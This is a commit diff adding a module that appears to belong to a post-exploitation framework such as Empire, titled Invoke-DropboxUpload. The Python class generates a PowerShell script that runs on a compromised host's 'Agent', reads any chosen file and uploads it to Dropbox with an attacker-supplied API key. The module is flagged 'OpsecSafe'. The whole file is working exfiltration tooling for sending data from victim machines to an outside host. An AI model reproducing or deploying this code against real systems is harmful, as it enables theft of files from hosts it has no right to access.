commit
c9959753fc
|
@ -0,0 +1,141 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
# Metadata info about the module, not modified during runtime
|
||||||
|
self.info = {
|
||||||
|
# Name for the module that will appear in module menus
|
||||||
|
'Name': 'Invoke-DropboxUpload',
|
||||||
|
|
||||||
|
# List of one or more authors for the module
|
||||||
|
'Author': ['kdick@tevora.com','Laurent Kempe'],
|
||||||
|
|
||||||
|
# More verbose multi-line description of the module
|
||||||
|
'Description': ('Upload a file to dropbox '),
|
||||||
|
|
||||||
|
# True if the module needs to run in the background
|
||||||
|
'Background': False,
|
||||||
|
|
||||||
|
# File extension to save the file as
|
||||||
|
'OutputExtension': None,
|
||||||
|
|
||||||
|
# True if the module needs admin rights to run
|
||||||
|
'NeedsAdmin': False,
|
||||||
|
|
||||||
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||||
|
'OpsecSafe': True,
|
||||||
|
|
||||||
|
# The language for this module
|
||||||
|
'Language': 'powershell',
|
||||||
|
|
||||||
|
# The minimum PowerShell version needed for the module to run
|
||||||
|
'MinLanguageVersion': '2',
|
||||||
|
|
||||||
|
# List of any references/other comments
|
||||||
|
'Comments': [
|
||||||
|
'Uploads specified file to dropbox ',
|
||||||
|
'Ported to powershell2 from script by Laurent Kempe: http://laurentkempe.com/2016/04/07/Upload-files-to-DropBox-from-PowerShell/',
|
||||||
|
'Use forward slashes for the TargetFilePath'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# Any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# Format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent': {
|
||||||
|
# The 'Agent' option is the only one that MUST be in a module
|
||||||
|
'Description': 'Agent to use',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'SourceFilePath': {
|
||||||
|
'Description': '/path/to/file',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'TargetFilePath': {
|
||||||
|
'Description': '/path/to/dropbox/file',
|
||||||
|
'Required': True,
|
||||||
|
'Value': ''
|
||||||
|
},
|
||||||
|
'ApiKey': {
|
||||||
|
'Description': 'Your dropbox api key',
|
||||||
|
'Required': True,
|
||||||
|
'Value': ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Save off a copy of the mainMenu object to access external
|
||||||
|
# functionality like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
# During instantiation, any settable option parameters are passed as
|
||||||
|
# an object set to the module and the options dictionary is
|
||||||
|
# automatically set. This is mostly in case options are passed on
|
||||||
|
# the command line.
|
||||||
|
if params:
|
||||||
|
for param in params:
|
||||||
|
# Parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
script = """
|
||||||
|
function Invoke-DropboxUpload {
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[string]$SourceFilePath,
|
||||||
|
[Parameter(Mandatory=$true)]
|
||||||
|
[string]$TargetFilePath,
|
||||||
|
[Parameter(mandatory=$true)]
|
||||||
|
[string]$ApiKey
|
||||||
|
)
|
||||||
|
|
||||||
|
$url = "https://content.dropboxapi.com/2/files/upload"
|
||||||
|
|
||||||
|
$file = [IO.File]::ReadAllBytes($SourceFilePath)
|
||||||
|
[net.httpWebRequest] $req = [net.webRequest]::create($url)
|
||||||
|
|
||||||
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
|
$authorization = "Bearer " + $ApiKey
|
||||||
|
|
||||||
|
$req.method = "POST"
|
||||||
|
$req.Headers.Add("Authorization", $authorization)
|
||||||
|
$req.Headers.Add("Dropbox-API-Arg", $arg)
|
||||||
|
$req.ContentType = 'application/octet-stream'
|
||||||
|
$req.ContentLength = $file.length
|
||||||
|
$req.TimeOut = 50000
|
||||||
|
$req.KeepAlive = $true
|
||||||
|
$req.Headers.Add("Keep-Alive: 300");
|
||||||
|
$reqst = $req.getRequestStream()
|
||||||
|
$reqst.write($file, 0, $file.length)
|
||||||
|
$reqst.flush()
|
||||||
|
$reqst.close()
|
||||||
|
|
||||||
|
[net.httpWebResponse] $res = $req.getResponse()
|
||||||
|
$resst = $res.getResponseStream()
|
||||||
|
$sr = new-object IO.StreamReader($resst)
|
||||||
|
$result = $sr.ReadToEnd()
|
||||||
|
$result
|
||||||
|
$res.close()
|
||||||
|
}
|
||||||
|
|
||||||
|
Invoke-DropboxUpload """
|
||||||
|
|
||||||
|
# Add any arguments to the end execution of the script
|
||||||
|
for option, values in self.options.iteritems():
|
||||||
|
if option.lower() != "agent":
|
||||||
|
if values['Value'] and values['Value'] != '':
|
||||||
|
if values['Value'].lower() == "true":
|
||||||
|
# if we're just adding a switch
|
||||||
|
script += " -" + str(option)
|
||||||
|
else:
|
||||||
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
|
|
||||||
|
return script
|
Loading…
Reference in New Issue